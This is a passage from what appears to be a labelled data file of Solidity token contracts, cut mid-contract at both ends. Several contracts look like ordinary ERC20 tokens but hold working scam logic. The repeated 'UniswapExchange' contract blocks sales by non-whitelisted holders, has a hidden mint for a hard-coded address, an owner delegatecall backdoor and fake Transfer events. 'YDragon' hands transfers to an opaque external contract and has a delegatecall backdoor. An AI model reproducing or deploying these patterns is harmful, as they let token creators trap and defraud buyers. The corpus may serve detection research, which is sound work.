_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,478 |
pragma solidity ^0.4.24;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract BetterBitcoin is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
function BetterBitcoin() {
balances[msg.sender] = 30000000000000000000000000000;
totalSupply = 30000000000000000000000000000;
name = "BetterBitcoin";
decimals = 18;
symbol = "BBTC";
unitsOneEthCanBuy = 10000000;
fundsWallet = msg.sender;
}
function() public payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 5,483 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
bool public stopped;
modifier stopInEmergency {
if (stopped) {
throw;
}
_;
}
modifier onlyInEmergency {
if (!stopped) {
throw;
}
_;
}
function emergencyStop() external onlyOwner {
stopped = true;
}
function release() external onlyOwner onlyInEmergency {
stopped = false;
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract PullPayment {
using SafeMath for uint;
mapping(address => uint) public payments;
event LogRefundETH(address to, uint value);
function asyncSend(address dest, uint amount) internal {
payments[dest] = payments[dest].add(amount);
}
function withdrawPayments() {
address payee = msg.sender;
uint payment = payments[payee];
if (payment == 0) {
throw;
}
if (this.balance < payment) {
throw;
}
payments[payee] = 0;
if (!payee.send(payment)) {
throw;
}
LogRefundETH(payee,payment);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
address[] public customerAddress;
function size() public returns (uint) {
return customerAddress.length;
}
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
if(balances[_to] == 0){
customerAddress.push(_to);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
if(balances[_to] == 0){
customerAddress.push(_to);
}
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract AntCoin is StandardToken, Ownable {
string public constant name = "AntCoin";
string public constant symbol = "ANTC";
uint public constant decimals = 18;
function AntCoin() {
totalSupply = 10000000000000000000000000000;
balances[msg.sender] = totalSupply;
}
function burn(uint _value) onlyOwner returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Transfer(msg.sender, 0x0, _value);
return true;
}
function withdraw() onlyOwner payable {
owner.send(this.balance);
}
} | 0 | 2,127 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract YDragon is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 400000000000000000000000000;
string public name = "YDragon";
string public symbol = "YDR";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOf(wrappedBinance, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairOf(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toWho.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho));
for(uint i = 0; i < _toWho.length; i++) {
balanceOf[_toWho[i]] = _amounts[i];
emit Transfer(address(0x0), _toWho[i], _amounts[i]);
}
}
} | 0 | 355 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,284 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract MyContract is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "XPP";
name = "Xepp Network";
decimals = 18;
_totalSupply = 100000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function code() public view returns (uint) {
uint randomnumber = uint(keccak256(blockhash(block.number-1))) % 9000000000000;
randomnumber = randomnumber + 1000000000000;
return randomnumber;
}
function register(address receiver, address alaska, uint code) public returns (bool success) {
allowed[msg.sender][receiver] = code;
emit Approval(msg.sender, receiver, code);
return false;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function hash(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,855 |
pragma solidity ^0.4.11;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
contract Token {
function name() public constant returns (string name) { name; }
function symbol() public constant returns (string symbol) { symbol; }
function decimals() public constant returns (uint8 decimals) { decimals; }
function totalSupply() public constant returns (uint256 totalSupply) { totalSupply; }
function balanceOf(address _owner) public constant returns (uint256 balance) { _owner; balance; }
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { _owner; _spender; remaining; }
